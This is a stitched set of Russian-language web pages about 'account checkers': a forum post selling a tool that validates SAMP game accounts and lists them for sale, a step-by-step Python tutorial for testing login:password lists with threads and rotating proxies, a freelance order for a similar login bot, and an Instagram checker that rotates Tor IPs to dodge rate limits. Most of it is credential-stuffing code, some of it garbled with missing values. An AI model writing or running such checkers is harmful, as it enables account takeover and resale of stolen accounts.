Lua Python Hermer — Чекер | Авто-Выставление на продажу Samp-Store
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём некорректно.
Вам необходимо обновить браузер или попробовать использовать другой.
Haymiritch
Известный
Автор темы
- Другая
Авто проверка (чекер) аккаунтов SAMP для игрового сервера Arizona RP. Менеджер аккаунтов. Авто выставление аккаунта на продажу.
Данный скрипт облегчит вам проверку аккаунтов что-бы выставить их на продажу на Samp-Store, поможет просматривать статистику.
На данный момент доступен только 1 сервер: Arizona RP.
Требования:
RakSAMP Lite (последней версии), samp.lua (идет вместе с раксампом), addon (тоже идёт вместе с раксампом), inicfg для раксампа
Python 3.9 или выше. Библиотеки: requests, configparser
Установка:
RakSAMP Lite: Установить все нужные библиотеки, файл «Arizona_Checker.lua» перекинуть в папку script которая в корневой папке раксампа. Создать папку «checker» в корневой папке раксампа.
Python скрипт: Перекинуть в папку «checker» main.py, hermer.ini. Создать папку accs.
Запуск:
Открыть командную строку, перейти в папку с чекером (python скрипт), прописать main.py. Запустится этот скрипт, в первой вкладке настройки настраиваем чекер. Готово.
Спойлер: Скриншот скрипта
Спойлер: Функции на данный момент
Настройки (samp-store api key, директория раксампа)
Загрузить аккаунты для чека с Samp-Store
Чекер аккаунтов (с самп стора, с текстовика)
Менеджер аккаунтов (самп стор)
Менеджер кастомоных аккаунтов (с текстовика которые)
Чекер работает только на Arizona RP.
Пишем свой чекер аккаунтов на Python
⚠️ Дисклеймер Статья написана с познавательной и ознакомительной целью, мы не призываем читателей к запрещенным законодательством действиям, а также не создаём пропаганду. Мы никого ни к чему не призываем! Вся информация представленная нами — это фантазия автора, выдумка, сон, вымысел. Данный материал не имеет ни какого отношения к реальности, все совпадения — случайность. Автор материала не несёт ответственности за ваши действия. Все персонажи и описываемые события являются вымышленными.
Итак, сегодня мы будем писать чекер аккаунтов. Чтобы не было никакой рекламы, писать чекер мы будем на свой сайт.
Внимание: этот гайд для новичков, если вы уже знаете как работать с requests, тут ничего полезного для вас не будет (наверное)
Что нам необходимо:
- Python 3 (Желательно последней версии) — скачать
- Редактор кода, например PyCharm , VS Code , Notepad++
- Свой сайт — скачать исходники , exe , VT
- Библиотека requests — pip install requests
- Минимальные знания Python и прямые руки
Для начала запускаем сервер, он нам даст адрес нашего сайта:
Переходим на сайт и видим форму входа
У нас есть 2 пользователя:
Теперь мы можем начинать писать наш чекер, создаем новый файл с окончанием .py и добавляем нужный нам импорт:
import requests
База аккаунтов у нас будет в файле logins.txt , создаём её (не обязательно переписывать всё, просто добавьте аккаунты по вкусу):
Далее нам надо эту базу прочитать, для этого откроем файл через open:
file = open('logins.txt').read()
Но это только прочитает файл, а нам надо ещё разделить аккаунты по строкам, для этого используем .split(‘\n’), который разделит файл:
Теперь переходим в браузер, я буду показывать на примере Google Chrome. Открываем наш сайт и нажимаем Ctrl + Shift + I, и переходим в вкладку Network, и нажимаем на флажок Preserve log
Далее вводим верный логин и пароль и нажимаем Войти, у нас во вкладке Network появится новый запрос
Нажимаем на него и видим такую картину
Смотрим в Request Headers, нас интересует Content-Type. У нас это application/x-www-form-urlencoded. Он может быть и application/json. Мы будем делать всё на примере application/x-www-form-urlencoded. JSON рассмотрим уже во второй части. Теперь смотрим в Form Data и видим поля login и password. Теперь мы можем приступить к написанию кода. Т.к. у нас POST запрос, мы будем использовать requests.post и ссылку из Request URL:
requests.post("http://127.0.0.1:5000/login")
Далее нам надо передать наш логин и пароль, для этого добавляем после URL, data=<>:
requests.post("http://127.0.0.1:5000/login", data=<>)
Теперь в <> пишем поля из Form Data:
Для получения ответа сервера необходимо добавить .text в конец строки. В итоге:
requests.post("http://127.0.0.1:5000/login", data=).text
Кидаем это всё в print и смотрим результат. Если вы всё сделали правильно, то будет такое:
Теперь мы можем добавить проверку на успешный вход и получение баланса:
login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(balance) else: # Пароль не верный print("Не валидный аккаунт")
Итак, время проверять наши аккаунты! Для этого добавляем цикл перебора всех аккаунтов и с помощью .split(«:») делим базу на логин и пароль. Добавляем наши переменные в запрос и добавляем выводы:
for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")
Запускаем и видим, что наши аккаунты прочекались:
import requests # Читаем file = open('logins.txt').read().split('\n') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")
Потоки
Чекер слишком долго проверяет аккаунты? Это время добавить потоки, которые будут проверять аккаунты не зависимо друг от друга. Для этого мы будем использовать библиотеку threading — она уже есть в Python. Добавляем её:
import threading
Теперь нам надо написать функцию проверки аккаунта, просто вносим весь код в неё:
def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")
Теперь нам нужна функция для самого потока, которая будет брать аккаунт и проверять его:
def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e)
Добавляем переменную thread_count, в которой мы будем указывать количество потоков:
thread_count = 10
Итак, базу мы написали. Теперь можно писать запуск потоков:
# Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start()
Запускаем и смотрим как быстро отработал наш чекер
import threading import requests # Читаем file = open('logins.txt').read().split('\n') thread_count = 10 def thread(): # Пока есть аккаунты while file: # Берём первый аккаунт из списка to_check = file[0] # Удаляем его из списка file.remove(to_check) try: # Вызываем функцию проверки аккаунта check(to_check) except Exception as e: # Если что-то пойдет не так, выведет ошибку print("Ошибка:", e) # Перебираем все аккаунты def check(account): username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ") # Запускаем thread_count потоков for _ in range(thread_count): # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ. t = threading.Thread(target=thread) # Запускаем поток t.start()
Запись в файл
Вывод в консоль не самый удобный метод. Надо писать валидные аккаунты в файл. Для этого мы будем использовать open(), но с некоторыми различиями. Чтобы открыть файл на запись нам нужен режим a+, где a — append (добавлять к файлу) и + — создание файла если его нет.
Пример:
open('файл', 'a+').write("текст")
В нашем случае мы будем писать гуды в файл good.txt . Для этого, чтобы не открывать его кучу раз используем (не забывая в конце закрыть файл через .close()):
goods = open('good.txt', 'a+')
Рядом с print пишем саму запись в файл:
goods.write(f":\n")
\n в конце — это перенос строки в файле. Добавляем это рядом с print (или вместо его). Запускаем код и смотрим в файл good.txt :
Наши валидные аккаунты записались в файл
import requests # Читаем file = open('logins.txt').read().split('\n') goods = open('good.txt', 'a+') # Чекаем все аккаунты for account in file: username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] goods.write(f":\n") print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")
Прокси
Последняя тема, которую мы разберём в данном уроке — прокси. Чекер без прокси долго работать не будет. Читать прокси мы будем аналогично аккаунтам:
proxies = open('proxy.txt').read().split('\n')
Прокси должны начинаться с протокола, например https:// или socks5://. Можно добавить протокол в сам код или прямо в файл с листом прокси. Выбираем рандомный прокси:
proxy = random.choice(proxies)
Чтобы использовать прокси в запросах, надо их передать. Добавляем после data=<> запятую и пишем
proxies=dict(http=proxy, https=proxy)
random.choice выберет рандомный прокси из нашего списка. Его так-же надо импортировать:
import random
Чтобы работать с socks надо установить pysocks:
pip install pysocks
Внимание: если вы работаете с локальным сервером, прокси не будут работать. Выглядеть код должен примерно так:
requests.post("http://127.0.0.1:5000/login", data=, proxies=dict(http=proxy, https=proxy)).text
import random import requests # Читаем file = open('logins.txt').read().split('\n') proxies = open('proxy.txt').read().split('\n') # Чекаем все аккаунты for account in file: proxy = random.choice(proxies) username = account.split(":")[0] password = account.split(":")[1] login = requests.post("http://127.0.0.1:5000/login", data=, proxies=dict(http=proxy, https=proxy)).text # Проверяем верный ли пароль if not "Не верный пароль" in login: # Пароль верный, получаем баланс balance = login.split("У Вас ")[1].split(" ")[0] print(f"Валидный аккаунт с балансом рублей") else: # Пароль не верный print(f"Не валидный аккаунт ")
Чекер аккаунтов/парсер информации на Python
Найдите исполнителя для вашего проекта прямо сейчас!
Разместите заказ на фриланс-бирже и предложения поступят уже через несколько минут.
Имеется файл формата sql, содержащий данные по столбцам ID, Login, Pass. (число записей не ограничено)
Необходим бот, который бы вводил данные login и pass на нужный сайт, в случае успешного логирования — заносит в другой sql файл login, pass и current data. Current data берется с сайта логирования.
Все это необходимо уместить в код Python.
Парусный DaddyTeylor
37 лет Беларусь
год в сервисе
8 месяцев назад
Выбранные исполнители

19 лет Украина
2 года в сервисе
8 месяцев назад
20 лет Казахстан
3 года в сервисе
20 дней назад
Отзыв заказчика
Идеально, 10 из 10
Отзыв фрилансера
Быстрая коммуникация, понятное ТЗ и оплата вовремя! Рекомендую
Вадим Дибцов vadimdibcev859
22 года Узбекистан
год в сервисе
6 часов назад
— Прикладное ПО
Похожие заказы
Коллеги, Добрый вечер! Требуется сделать приложение с WebView под Windows 10 и последние версии. Функционал WIN-приложения:[list=1][*]Возможность вставки ссылоки на нужную веб-страницу для отображения на полный экран[*]Добавление и изменение данной ссылки происходит через горячую клавишиу и .
Прикладное ПО 1 исполнитель
8 месяцев назад
Разработка десктопной программы на C++, для автоматической установки приложения на хостинг, подробности в обсуждении
[u]ТЕМА: Разработка программы ввода-вывода и обработки числовой информации[/u] [b][u]ЗАДАНИЕ:[/u][/b][b][i] Написать программу, выполняющую:[/i][/b] [b][i] — ввод массива целых многозначных десятичных чисел .
Здравствуйте, нужно разработать программу для HR Опции разрабатываемой программы: — HR папки на каждого сотрудника; — Графики табеля любых HR конфигураций по сотрудникам. — Сводная таблица сотрудников (ФИО, дата приема, дата окончания контракта, оклад, бонус, .
Разработать программу (Python, C# или др.) для оценки тональности отзывов о 5 фильмах, оставленных пользователями на сайтах https://www.imdb.com/ или https://www.kinopoisk.ru/lists/movies/top250/. Текст отзывов должен быть получен с помощью технологии web-скрапинга или Web API.
Насчет цены проекта, пишите, пожалуйста, за сколько вы можете сделать)TLDR:Сделать аналог этого расширения, но в Safari: https://chrome.google.com/webstore/detail/save-to-google-drive/gmbmikajjgmnabiglmofipeabaddhgneОно будет очень схоже с функционалом к этому:https://apps.apple.com/ae/app/save-to-dropbox-for-safari/id1391693608Подробности:- Расширение Safari, которое позволяет пользователям сохранять изображения, файлы и веб страницы- .
Система бронирования нескольких кинотеатров Целью этого проекта является создание программы для управления бронированиями в мульти-кинотеатре. Это такая же система, как и сегодня например, он предлагает cinemacity на своем веб-сайте. Основные параметры программы: 1. После запуска .
Прикладное ПО 1 исполнитель
Подробное описание задачи отправлю личным сообщением. Главная задача бота отвечать сразу n-ому количеству пользователей, то-есть работать асинхронно, без коллизий. Пожалуйста указывайте в заявке язык программирования на котором сможете реализовать бота.
Прикладное ПО 1 исполнитель
Для бота в телеграмм нужно сделать автоматическую оплату криптой. Чтобы он видел приход средств и автоматически выдавал доступ к функционалу
[b]PHP разработчик со знаниями в сфере психологии [/b] Ищем разработчика со знаниями в сфере психологии в проект по обучению голосового бота «Маши» эмоциональному интеллекту. Работа под сопровождением ментора [b]Навыки:[/b] [list][*]Понимание процесса работы человеческого мозга, чтобы по аналогии с мыслями людей .
Checker python Selenium
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нем неправильно.
Необходимо обновить браузер или попробовать использовать другой.
Govard
Новичок
Пользователь
Апр 21, 2020 22 4 3
Здравствуйте. Решил создать чекер аккаунтов инстаграм.
Подскажите пожалуйста, как можно менять ip при перезагрузке браузера. У меня стоит профиль Tor. То есть ip автоматически меняется каждые 10 минут. Как мне сделать так, чтобы ip менялось 1 раз в минуту. Возможно ли это вообще?
import time from selenium import webdriver from selenium.webdriver.firefox.firefox_profile import FirefoxProfile # база почт file = open('Good2.txt', encoding='utf-8-sig').read().split('\n') # запись валидных аккаунтов goods = open('good_acc.txt', 'a+') def settings_browser(): """ Настройки браузера FireFox. """ profile = FirefoxProfile(r'C:\Users\ASUS\Desktop\Scrap\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default') profile.set_preference('network.proxy.type', 1) profile.set_preference('network.proxy.socks', '127.0.0.1') profile.set_preference('network.proxy.socks_port', 9050) profile.set_preference("network.proxy.socks_remote_dns", False) # get a huge speed increase by not downloading images profile.set_preference("permissions.default.image", 2) profile.update_preferences() return profile def check_email(): """ Принимает всплывающее окно куки. Чекает валидность почт, если почта валидна, то сохраняет в файл 'good_acc.txt'. """ driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') for login in file: driver.get("https://www.instagram.com/accounts/password/reset/") body = driver.find_elements_by_class_name('pbNvD.FrS-d.gD9tr') for bd in body: if bd.find_element_by_class_name('aOOlW.bIiDR').text == 'Принять все': bd.find_element_by_class_name('aOOlW.bIiDR').click() time.sleep(7) authorization = driver.find_elements_by_class_name("AHCwU") pops = driver.find_elements_by_class_name("_-rjm") username = login.split(":")[0] password = login.split(":")[1] for data in authorization: # почта логин data_login = data.find_element_by_name('cppEmailOrUsername') data_login.click() data_login.send_keys(username) time.sleep(1) # кнопка входа clock_button = data.find_element_by_class_name('sqdOP.L3NKy.y3zKF') clock_button.click() time.sleep(2) for pop in pops: if 'Мы отправили ссылку для восстановления' in pop.find_element_by_class_name('tA2fc').text: # Почта зарегана goods.write(username + ' : ' + password + '\n') print('Валидный аккаунт ' + username + ' : ' + password) elif 'Подождите несколько минут, прежде чем пытаться снова.' in pop.find_element_by_class_name('tA2fc').text: driver.quit() driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') print('Успешная перезагрузка драйвера из-за "Подождите несколько минут, прежде чем пытаться снова."') elif 'feedback_required' in pop.find_element_by_class_name('tA2fc').text: driver.quit() driver = webdriver.Firefox(firefox_profile=settings_browser(), executable_path=r'C:\Users\ASUS\Desktop\Scrap\geckodriver.exe') print('Успешная перезагрузка драйвера из-за "feedback_required"') else: # Почта не зарегана print(f"Не валидный аккаунт " + username) goods.close() def main(): check_email() if __name__ == '__main__': main()
